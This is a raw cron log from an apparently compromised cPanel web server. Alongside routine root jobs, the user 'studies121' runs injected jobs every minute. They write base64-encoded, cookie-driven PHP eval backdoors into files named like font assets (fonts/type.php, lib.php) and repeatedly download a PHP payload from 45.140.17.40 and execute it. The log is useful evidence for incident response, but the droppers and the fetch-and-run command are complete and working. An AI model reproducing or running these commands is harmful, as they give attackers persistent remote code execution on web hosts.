Sep  9 21:31:01 ip-184-168-122-23 CROND[16687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:31:01 ip-184-168-122-23 CROND[16686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:31:01 ip-184-168-122-23 CROND[16688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:31:01 ip-184-168-122-23 CROND[16690]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:32:01 ip-184-168-122-23 CROND[16785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:32:01 ip-184-168-122-23 CROND[16787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:32:01 ip-184-168-122-23 CROND[16788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:32:01 ip-184-168-122-23 CROND[16789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:32:01 ip-184-168-122-23 CROND[16790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:33:01 ip-184-168-122-23 CROND[16883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:33:01 ip-184-168-122-23 CROND[16886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:33:01 ip-184-168-122-23 CROND[16887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:33:01 ip-184-168-122-23 CROND[16885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:34:01 ip-184-168-122-23 CROND[16969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:34:01 ip-184-168-122-23 CROND[16968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:34:01 ip-184-168-122-23 CROND[16972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:34:01 ip-184-168-122-23 CROND[16970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:34:01 ip-184-168-122-23 CROND[16973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:35:01 ip-184-168-122-23 CROND[17157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:35:01 ip-184-168-122-23 CROND[17159]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 21:35:01 ip-184-168-122-23 CROND[17162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:35:01 ip-184-168-122-23 CROND[17161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:35:01 ip-184-168-122-23 CROND[17163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:35:01 ip-184-168-122-23 CROND[17164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:35:01 ip-184-168-122-23 CROND[17165]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:35:01 ip-184-168-122-23 CROND[17170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:36:01 ip-184-168-122-23 CROND[17272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:36:01 ip-184-168-122-23 CROND[17277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:36:01 ip-184-168-122-23 CROND[17275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:36:01 ip-184-168-122-23 CROND[17274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:36:01 ip-184-168-122-23 CROND[17276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:37:01 ip-184-168-122-23 CROND[17359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:37:01 ip-184-168-122-23 CROND[17361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:37:01 ip-184-168-122-23 CROND[17362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:37:01 ip-184-168-122-23 CROND[17363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:38:01 ip-184-168-122-23 CROND[17483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:38:01 ip-184-168-122-23 CROND[17486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:38:01 ip-184-168-122-23 CROND[17487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:38:01 ip-184-168-122-23 CROND[17485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:38:01 ip-184-168-122-23 CROND[17489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:39:01 ip-184-168-122-23 CROND[17581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:39:01 ip-184-168-122-23 CROND[17582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:39:01 ip-184-168-122-23 CROND[17583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:39:01 ip-184-168-122-23 CROND[17585]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 21:39:01 ip-184-168-122-23 CROND[17586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:40:01 ip-184-168-122-23 CROND[17774]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:40:01 ip-184-168-122-23 CROND[17777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:40:01 ip-184-168-122-23 CROND[17780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:40:01 ip-184-168-122-23 CROND[17779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:40:01 ip-184-168-122-23 CROND[17782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:40:02 ip-184-168-122-23 CROND[17781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:40:02 ip-184-168-122-23 CROND[17784]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:40:02 ip-184-168-122-23 CROND[17785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:41:01 ip-184-168-122-23 CROND[17885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:41:01 ip-184-168-122-23 CROND[17887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:41:01 ip-184-168-122-23 CROND[17888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:41:01 ip-184-168-122-23 CROND[17889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:42:01 ip-184-168-122-23 CROND[17976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:42:01 ip-184-168-122-23 CROND[17978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:42:01 ip-184-168-122-23 CROND[17979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:42:01 ip-184-168-122-23 CROND[17980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:42:01 ip-184-168-122-23 CROND[17981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:43:01 ip-184-168-122-23 CROND[18081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
